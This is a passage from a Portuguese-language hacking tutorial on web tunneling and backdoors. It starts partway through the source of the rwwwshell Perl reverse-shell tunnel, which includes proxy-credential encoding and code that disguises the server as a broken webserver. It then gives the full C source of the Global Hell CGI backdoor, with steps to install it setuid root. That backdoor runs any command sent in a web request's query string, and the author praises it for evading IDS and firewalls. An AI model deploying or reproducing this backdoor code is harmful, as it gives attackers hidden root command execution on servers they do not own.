stream $input =~ tr/'zcadefghjklmnopqrstuv' /'\n)=(:;&><,#$*%]!\@"`\\\-' /; $input =~ tr/'b'/"'"/; $decoded = unpack "u", "$input";} # END OF UUDECODE FUNCTIONsub base64encoding { # does the base64 encoding for proxy passwords $encode_string = $PROXY_USER . ":" . $PROXY_PASSWORD; $encoded_string = substr(pack('u', $encode_string), 1); chomp($encoded_string); $encoded_string =~ tr|` -_|AA-Za-z0-9+/|; $padding = (3 - length($encode_string) % 3) % 3; $encoded_string =~ s/.{$padding}$/'=' x $padding/e if $padding; $PROXY_COOKIE = "Proxy-authorization: Basic " . $encoded_string. "\n";} # END OF BASE64ENCODING FUNCTIONsub hide_as_broken_webserver { # invalid request -> look like broken server send (S, "\n404 File Not Found\n". "\nFile Not Found\n\n", 0); close S; print STDOUT "Warning! Illegal server access!\n"; # report to user goto YOP;} # END OF HIDE_AS_BROKEN_WEBSERVER FUNCTION# END OF PROGRAM # (c) 1998 by --------------------------- rwwwshell-1.6.perl -----------------------------Tomei a liberdade para publicar o programa acima para que voces possamvisualizar o Conceito sobre Tunelamento em WWW. Existe outro programa muitodifundido na Internet que tambem utiliza o mesmo conceito que e o 'HTTP Tunel', nao consegui encontrar um link p/ o mesmo no momento, comooutros tutoriais estao a caminho, caso quiserem, deixarei na area de arquivos olink para o mesmo, essa area esta sendo criada ainda.3.2. - Backdoor em CGI.------------------------O conceito de tunelamento em WWW eh mesmo algo fantastico, mas existemesquemas melhores e dependendo do servidor, uma backdoor em CGI pode seruma bela opcao, nao chamando a atencao de um IDS ou de um Firewall.Comosabemos, os CGIs sao programas responsaveis pela execucao e automacao devarias tarefas para um Servidor WEB, ou seja, envio de formularios, bancode dados e etc.. A criacao de uma Backdoor em CGI eh bem simples, sendopossivel sua implementacao em varios casos.Abaixo segue uma backdoor emCGI feita pelo grupo Global Hell (gH):------------------------------ gH-cgi.c ---------------------------------/* * gH CGI Backdoor 1.0 * * Install: * ------------------------------- * % gcc -o gH.cgi gH-cgi.c * % chown root.root gH.cgi * % chmod 4755 gH.cgi * ------------------------------- * Tested with apache 1.3.4 * * Note: place gH.cgi in a cgi-bin directory * * blasphemy (cornoil@netscape.net) * */#include #include #include #define TITLE "gH CGI Backdoor"char x2c(char *what);int header();int footer();intmain() { FILE *out; char *qs = (char *)malloc(256); int x = 0, i = 0, c = 0, f = 0; qs = getenv("QUERY_STRING"); if (qs != NULL) { for (x = 0, i = 0; qs[i]; x++, i++) { if ((qs[x] = qs[i]) == '%') { qs[x] = x2c(&qs[i + 1]); i += 2; } } qs[x] = '\0'; for (x = 0; qs[x]; x++) { if (qs[x] == '+') { qs[x] = ' '; } } header(qs); out = popen(qs, "r"); if (out != NULL) { while (c != EOF) { c = fgetc(out); if (c != EOF && c != '\0') { printf("%c", (char) c); f++; } } pclose(out); } if (f == 0 && strcmp(qs, "") != 0) printf("gH: %s: command not found\n", qs); } footer(); return(0);}char x2c(char *what){ register char digit; digit = (what[0] >= 'A' ? ((what[0] & 0xdf) - 'A')+10 : (what[0] - '0')); digit *= 16; digit += (what[1] >= 'A' ? ((what[1] & 0xdf) - 'A')+10 : (what[1] - '0')); return (digit);}intheader(char *qs)